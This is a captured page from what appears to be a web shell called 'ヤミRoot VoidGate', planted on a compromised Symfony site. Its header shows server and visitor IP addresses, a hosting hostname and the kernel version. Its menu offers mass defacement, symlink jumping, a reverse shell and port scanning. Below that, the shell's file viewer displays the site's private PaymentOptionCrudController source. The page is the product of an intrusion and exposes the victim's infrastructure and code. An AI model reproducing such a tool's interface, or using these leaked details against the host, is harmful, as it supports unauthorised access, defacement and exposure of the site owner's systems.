ヤミRoot VoidGate
User / IP
:
216.73.216.143
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
src
/
Controller
/
Admin
/
Viewing: PaymentOptionCrudController.php
<?php namespace App\Controller\Admin; use App\Entity\BookingRoom; use App\Entity\MediaObject; use App\Entity\PaymentOption; use App\Entity\User; use Doctrine\ORM\EntityManagerInterface; use EasyCorp\Bundle\EasyAdminBundle\Controller\AbstractCrudController; use EasyCorp\Bundle\EasyAdminBundle\Field\AssociationField; use EasyCorp\Bundle\EasyAdminBundle\Field\BooleanField; use EasyCorp\Bundle\EasyAdminBundle\Field\DateTimeField; use EasyCorp\Bundle\EasyAdminBundle\Field\IdField; use EasyCorp\Bundle\EasyAdminBundle\Field\ImageField; use EasyCorp\Bundle\EasyAdminBundle\Field\IntegerField; use EasyCorp\Bundle\EasyAdminBundle\Field\TextField; use function Symfony\Component\String\u; class PaymentOptionCrudController extends AbstractCrudController { private $entityManager; public function __construct( EntityManagerInterface $entityManager) { $this->entityManager=$entityManager; } public static function getEntityFqcn(): string { return PaymentOption::class; } public function configureFields(string $pageName): iterable { return [ IdField::new('id')->hideOnForm(), ImageField::new('picture') ->setBasePath($this->getParameter('app.path.media_object'))->hideOnForm(), AssociationField::new('picture') ->setQueryBuilder(function ($queryBuilder) { return $queryBuilder ->select('media') ->from(MediaObject::class, 'media') ->where('media.directory = :directory') ->orderBy('media.createdAt', 'DESC') ->setParameter('directory', "payment") ; // your query })->onlyOnForms(), TextField::new('paymentName'), IntegerField::new('rOnly'), AssociationField::new('provider'), AssociationField::new('payments')->hideOnForm(), AssociationField::new('country'), BooleanField::new('isCash'), BooleanField::new('enable'), DateTimeField::new('createdAt')->hideOnForm(), ]; } public function createEntity(string $entityFqcn) { $entity = new PaymentOption(); $entity->setCreatedBy($this->getUser()); $entity->setCreatedAt(new \DateTimeImmutable()); return $entity; } }
Coded With 💗 by
0x6ick